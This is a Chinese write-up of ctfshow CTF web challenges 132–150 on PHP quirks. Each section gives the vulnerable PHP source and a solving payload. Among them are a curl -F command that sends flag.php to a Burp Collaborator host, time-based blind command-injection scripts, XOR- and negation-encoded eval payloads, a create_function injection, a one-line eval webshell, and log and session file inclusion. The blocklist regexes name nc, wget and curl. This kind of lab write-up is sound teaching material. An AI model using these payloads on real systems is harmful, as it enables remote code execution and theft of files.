目录:

  • web132——逻辑运算符的优先级
  • web133——curl -F
  • web134——php变量覆盖
  • web135—— >xx.txt 写文件
  • web136—— tee命令
  • web137——调用类
  • web138——call_user_func()数组形式调用类方法
  • web139——盲打
  • web140——松散比较==
  • web141——无字母数字的RCE 、取反
  • web142——0
  • web143——无字母数字的RCE 、异或 、* / 号
  • web144——无字母数字的RCE 、取反、+号
  • web145——无字母数字的RCE 、异或 、三目运算符
  • web146——无字母数字的RCE 、异或 、|号
  • web147——create_function代码注入
  • web148——无字母数字的RCE 、异或
  • web149——条件竞争
  • web150——日志包含
  • web150_plus——session文件包含

web132——逻辑运算符的优先级

打开是一个网站,访问robots.txt 得到指引/admin

<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){$username = (String)$_GET['username'];$password = (String)$_GET['password'];$code = (String)$_GET['code'];if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == 'admin'){echo $flag;}}
}

可以注意到&&||的逻辑运算,查询下表发现&&优先级高于||

payload:
?username=admin&password=6&code=admin

web133——curl -F

curl 的参数用法

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6个字母都还不够呀?!");}
}

参考Firebasky师傅的文章,写的很详细

我们传入
`$F `;sleep 3
substr($F,0,6)截取的是: `$F `;
即:eval(`$F `;)就会继续执行$F    其中:``是shell_exec()函数的缩写
而$F等于我们传入进来的值: `$F `;sleep 3
此时,sleep 3 就被执行了!

但是可以执行命令,无法回显
通过curl结合Burp带出flag.php

payload:
?F=`$F `;+curl -X POST -F xx=@flag.php http://j9t9eiduixuj9bxwv2e18b6wangd42.burpcollaborator.net# -X POST  指定 HTTP 请求的方法为 POST
# 其中-F 是带文件的形式发送post请求
# xx是上传文件的name值,flag.php就是上传的文件


web134——php变量覆盖

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {die(file_get_contents('flag.php'));
}

prase_str()extract():

parse_str():把查询字符串解析到变量中。
extract():从数组中将变量导入到当前的符号表
注意区别:
extract是将数组中元素分解,执行后数组的key值作为变量名,数组的value赋值给对应Key的变量,这样可以直接通过Key变量去访问,不用数组加key去访问。
即:从数组中创建变量parse_str是根据"="来分解字符串,主要用于对url参数的解析。

GET方法传参_POST[key1]=36d
parse_str()将字符串解析到POST数组中,数组此时就有了一个键值对
此时,效果上相当于以POST方法传参 key1=36d
extract($_POST)POST数组中的创建变量,将变量key1导入到当前的符号表
从而得到$key1=36d

web135—— >xx.txt 写文件

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){eval(substr($F,0,6));}else{die("师傅们居然破解了前面的,那就来一个加强版吧");}
}

没有限制写文件

 ?F=`$F `;nl flag.php>1.txt?F=`$F `;cp flag.php>1.txt?F=`$F `;mv flag.php>1.txt

web136—— tee命令

<?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
?>

Linux下的tee命令

tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件


可见,其效果与>类似

payload:
?c=ls /|tee 2
?c=nl /f149_15_h3r3|tee 2

web137——调用类

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}call_user_func($_POST['ctfshow']);

需要调用静态类

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法
payload:
ctfshow=ctfshow::getFlag   #POST

web138——call_user_func()数组形式调用类方法

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}if(strripos($_POST['ctfshow'], ":")>-1){die("private function");
}call_user_func($_POST['ctfshow']);

考察了call_user_func()用数组形式调用类方法
详看:根据方法名调用call_user_func()详解

call_user_func()参数不仅可以是字符串,还有 数组形式!

call_user_func(array($classname, 'say_hello'));
调用classname这个类里的sya_hello方法array[0]=$classname  类名
array[1]=say_hello   say_hello()方法

按照上述格式得到payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag   #POST

web139——盲打

<?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
?>

没有写权限,不允许写文件
思路就是猜解文件名。盲打,像SQL盲注一样

用awk命令、cut命令截取字符
sleep命令确认是否正确awk NR==2 获取第二行信息
cut -c 1  截取第1个字符zsh下if语句的格式:if [[condition]] {command
} elif {} else {}


参考大佬的脚本:
获取文件名的脚本

import requests
import time
import string
str=string.ascii_letters+string.digits    #生成所有字母与数字[a-zA-Z0-9]
result=""
for i in range(1,5):key=0for j in range(1,15):if key==1:breakfor n in str:payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)#print(payload)url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payloadtry:requests.get(url,timeout=(2.5,2.5))except:result=result+nprint(result)breakif n=='9':key=1result+=" "

猜解文件内容的脚本:

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"#获取小写字母与数字
result=""
key=0
for j in range(1,45):print(j)if key==1:breakfor n in str:payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)#print(payload)url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payloadtry:requests.get(url,timeout=(2.5,2.5)) #time()第一个参数是响应时间,第二个是读取时间except:result=result+nprint(result)break

web140——松散比较==

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){$f1 = (String)$_POST['f1'];$f2 = (String)$_POST['f2'];if(preg_match('/^[a-z0-9]+$/', $f1)){if(preg_match('/^[a-z0-9]+$/', $f2)){$code = eval("return $f1($f2());");if(intval($code) == 'ctfshow'){echo file_get_contents("flag.php");}}}
}

查看PHP类型比较表 可发现
0==“字符串” 返回的是TRUE


使$code=0就可以了
intval('.')(标点符号似乎都行)md5(phpinfo())都可以使intval()=0

payload:
f1=current&f2=localeconv
f1=md5&f2=phpinfo

web141——无字母数字的RCE 、取反

<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

/^\W+$/的意思:匹配[^a-zA-Z0-9_](任意个非单词字符、非数字字母下划线的字符)绕过无字母数字的方法参考yu师傅的脚本

绕过return的方式:
php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();结合减号是可以执行phpinfo()命令的。(不一定是减号,还有加、乘、除号,若用加号。要用+,要进行URL编码,这是个特殊字符,不进行编码会当作空格)

由上图可知,虽然会有warning但依然执行了system('cat ls.txt')

这样就好说了。构造出1-phpinfo()-1就可以了,也就是说v1=1&v2=1&v3=-phpinfo()-

现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。
运行脚本构造system(‘tac f*’)得到 (~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)

payload:
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-

拓展阅读:
记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)

web142——0

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){$v1 = (String)$_GET['v1'];if(is_numeric($v1)){$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);sleep($d);echo file_get_contents("flag.php");}
}
payload:
?v1=0      八进制
?v1=0x0        16进制
?v1=0e123  科学计数法

web143——无字母数字的RCE 、异或 、* / 号

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

此题是web141的延申版
过滤了加减号,还有乘除号
过滤了取反号~那就用异或^

异或脚本:

<?php/*author yu22x*/$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-# author yu22ximport requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"^\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

payload:

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")*

web144——无字母数字的RCE 、取反、+号

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && check($v3)){if(preg_match('/^\W+$/', $v2)){$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}function check($str){return strlen($str)===1?true:false;
}
?v1=1&v3=%2b&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)  #%2b是 + 的URL编码,当然,直接用 - *  / 这三种也是可以

web145——无字母数字的RCE 、异或 、三目运算符

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

可用三目运算符 ? :和 按位OR运算符|

?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|

实在想不出来,爆破

web146——无字母数字的RCE 、异或 、|号

<?phphlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

过滤了:冒号,用|按位OR运算符

?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):

web147——create_function代码注入

<?php
highlight_file(__FILE__);if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);}}

分析正则表达式:
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D如果使用$限制结尾字符,则不允许结尾有换行

create_function:
参考这篇文章第一道题

create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。string create_function    ( string $args   , string $code   )string $args 参数部分
string $code 方法代码部分举例:create_function('$name','echo $fname."Zhang"')
类似于:function fT($name) {echo $fname."Zhang";
}

正则很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。

本地Fuzz测试一下,思路就是在函数名头或者尾找一个字符



\ (URL编码为%5c)是爆破结果

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

payload:
?show=echo "666";}system("cat f*");/*     #GET
ctf=\create_function                     #POST

web148——无字母数字的RCE 、异或

异或处理,参考 web148

web149——条件竞争

<?php
error_reporting(0);
highlight_file(__FILE__);$files = scandir('./');
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}file_put_contents($_GET['ctf'], $_POST['show']); //file_put_contents会覆盖之前文件的内容$files = scandir('./');
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}

很明显条件竞争
一个发包创建文件

?ctf=1.php
show=<?php ststem("ls /");?>

一个发包读取文件

还可以写一句话木马到index.php文件中,然后执行命令

?ctf=index.php
show=<?php @eval($_POST[1]);?>

web150——日志包含

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);
}

一眼看过去,有点懵,变量有点多
看Hint是非预期的解法:文件包含,包含的是日志文件

那么重点就在下面这段代码:

if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);
}

如何使isVIP=1?通过extract($_GET)?后面传递isVIP=1
POST传:ctf=/var/log/nginx/access.log
然后便是日志包含的操作了,在UA头写一句话木马

web150_plus——session文件包含

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
}

多过滤了log也即是说不能包含日志文件
但可用包含session文件
当然这是非预期解,预期解不会啊/(ㄒoㄒ)/~~


session文件包含的操作不多说了

CTFshow——PHP特性(下)相关推荐

  1. ctfshow php特性 下

    目录 web113 web114 web115 web123(php解析特性) web125 web126 web127(php解析特性) web128 web129 web130 web131 we ...

  2. CTFshow php特性 web129

    目录 源码 思路 题解 解法一 解法二 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11: ...

  3. rhel6系统中,mysql 5.6复制新特性下主从复制配置[基于GTID]

    1.mysql5.6在复制方面的新特性: (1).支持多线程复制:事实上是针对每个database开启相应的独立线程,即每个库有一个单独的(sql thread).针对这样的改进,如果我们想实现多线程 ...

  4. ctfshow php特性(89——150plus)

    web89 这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num ...

  5. ctfshow php特性 web89-web115 web123-150wp

    php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...

  6. CTFshow php特性 web150plus

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  7. CTFshow php特性 web147

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  8. CTFshow php特性 web136

    目录 源码 思路 题解 解法1 解法2 解法3 总结 源码 <?php error_reporting(0); function check($x){if(preg_match('/\\$|\. ...

  9. CTFshow php特性 web131

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

最新文章

  1. 利用JDK动态代理机制实现简单拦截器
  2. 26个导航设计非常独特的网站案例欣赏
  3. 八成Java开发者解答不了的问题
  4. iOS 推送通知 客户端实现
  5. 容器化之后如何节省云端成本?(二十七)
  6. PHP移动互联网开发笔记(3)——运算符
  7. java学习(105):字符串indexof,spilt,substring方法
  8. 爬虫小记:利用cookies跳过登陆验证码
  9. Python 语言简介与入门(1)
  10. 35款提升工作效率的工具软件
  11. SPSS Modeler18.0数据挖掘软件教程(六):聚类分析-K-means
  12. Mugeda(木疙瘩)H5案例课—交互视频类H5-岑远科-专题视频课程
  13. 第六章 多元函数微分学
  14. linux内存占用率高怎么办,Linux下如何解决高内存使用率问题?
  15. 开机内存占用过高解决方案
  16. Q1营收增长66%,Snap继续靠“广告业务”发家能长期利好么?
  17. 磁盘块管理器DiskBlockManager
  18. TCP实现可靠传输的实现
  19. c++算法:四数之和---固定两数,用夹逼法
  20. 【Web前端HTML5CSS3】——CSS语法与选择器(超级全面)

热门文章

  1. php实现图形计算器
  2. 【论文分享】GNN+小样本文本分类方法:Meta-GNN: On Few-shot Node Classification in Graph Meta-learning
  3. 脑壳痛的python基础
  4. 地铁车辆项目RAMS管理
  5. 使用WPD API操作MTP设备一些总结
  6. 步步高vivo y35a官方刷机包原厂手机线刷包附教程
  7. 应用安全加上游戏盾是最好的组合
  8. 华为认证考试需要准备什么
  9. Notion笔记软件
  10. layui页面发送手机验证码(一)前端